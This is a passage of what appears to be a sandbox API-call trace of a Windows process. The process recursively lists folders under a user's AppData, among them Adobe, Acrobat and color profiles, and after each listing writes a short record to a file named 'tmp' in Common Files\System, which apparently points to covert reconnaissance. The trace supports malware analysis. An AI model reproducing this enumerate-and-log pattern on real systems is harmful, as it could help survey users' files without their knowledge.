dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.392] GetFileType (hFile=0x188) returned 0x1 [0126.392] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.392] GetLastError () returned 0xb7 [0126.392] SetLastError (dwErrCode=0xb7) [0126.392] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.393] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xca, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xca, lpOverlapped=0x0) returned 1 [0126.393] GetLastError () returned 0xb7 [0126.393] SetLastError (dwErrCode=0xb7) [0126.393] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.393] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.393] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.393] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x1, dwReserved1=0x837720, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.393] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x1, dwReserved1=0x837720, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.393] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0126.393] GetLastError () returned 0x12 [0126.393] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x8671d0, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.393] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0126.393] GetLastError () returned 0x12 [0126.393] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18bbec, cFileName="color", cAlternateFileName="")) returned 0 [0126.393] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0126.393] GetLastError () returned 0x12 [0126.394] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18bf74, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.394] AreFileApisANSI () returned 1 [0126.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.394] GetFileType (hFile=0x180) returned 0x1 [0126.394] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.394] GetLastError () returned 0xb7 [0126.394] SetLastError (dwErrCode=0xb7) [0126.394] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.394] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0xc6, lpOverlapped=0x0) returned 1 [0126.394] GetLastError () returned 0xb7 [0126.394] SetLastError (dwErrCode=0xb7) [0126.394] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.395] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.395] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.395] AreFileApisANSI () returned 1 [0126.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.395] GetFileType (hFile=0x184) returned 0x1 [0126.395] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.395] GetLastError () returned 0xb7 [0126.395] SetLastError (dwErrCode=0xb7) [0126.395] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.395] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xcc, lpOverlapped=0x0) returned 1 [0126.395] GetLastError () returned 0xb7 [0126.395] SetLastError (dwErrCode=0xb7) [0126.395] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.396] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.407] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.407] AreFileApisANSI () returned 1 [0126.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.407] GetFileType (hFile=0x188) returned 0x1 [0126.407] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.407] GetLastError () returned 0xb7 [0126.407] SetLastError (dwErrCode=0xb7) [0126.407] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.407] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xd4, lpOverlapped=0x0) returned 1 [0126.408] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.408] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.408] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.408] AreFileApisANSI () returned 1 [0126.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.408] GetFileType (hFile=0x18c) returned 0x1 [0126.408] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.408] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.408] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xd9, lpOverlapped=0x0) returned 1 [0126.408] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.409] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.409] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.409] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x4, dwReserved1=0x837898, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.409] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x837898, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.409] AreFileApisANSI () returned 1 [0126.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.409] GetFileType (hFile=0x190) returned 0x1 [0126.409] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.409] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.409] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xdf, lpOverlapped=0x0) returned 1 [0126.409] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x837898, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.410] FindNextFileA (in: hFindFile=0x7d1830, lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x837898, cFileName="..", cAlternateFileName="")) returned 1 [0126.410] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.410] GetLastError () returned 0x12 [0126.410] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.410] GetLastError () returned 0x12 [0126.410] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0126.410] GetLastError () returned 0x12 [0126.410] AreFileApisANSI () returned 1 [0126.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.410] GetFileType (hFile=0x188) returned 0x1 [0126.410] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.411] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.411] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xd2, lpOverlapped=0x0) returned 1 [0126.411] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.411] AreFileApisANSI () returned 1 [0126.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.411] GetFileType (hFile=0x18c) returned 0x1 [0126.411] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.411] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.411] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xdb, lpOverlapped=0x0) returned 1 [0126.412] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.412] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.412] GetLastError () returned 0x12 [0126.412] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0126.412] GetLastError () returned 0x12 [0126.412] FindClose (in: hFindFile=0x7d1770 | out: 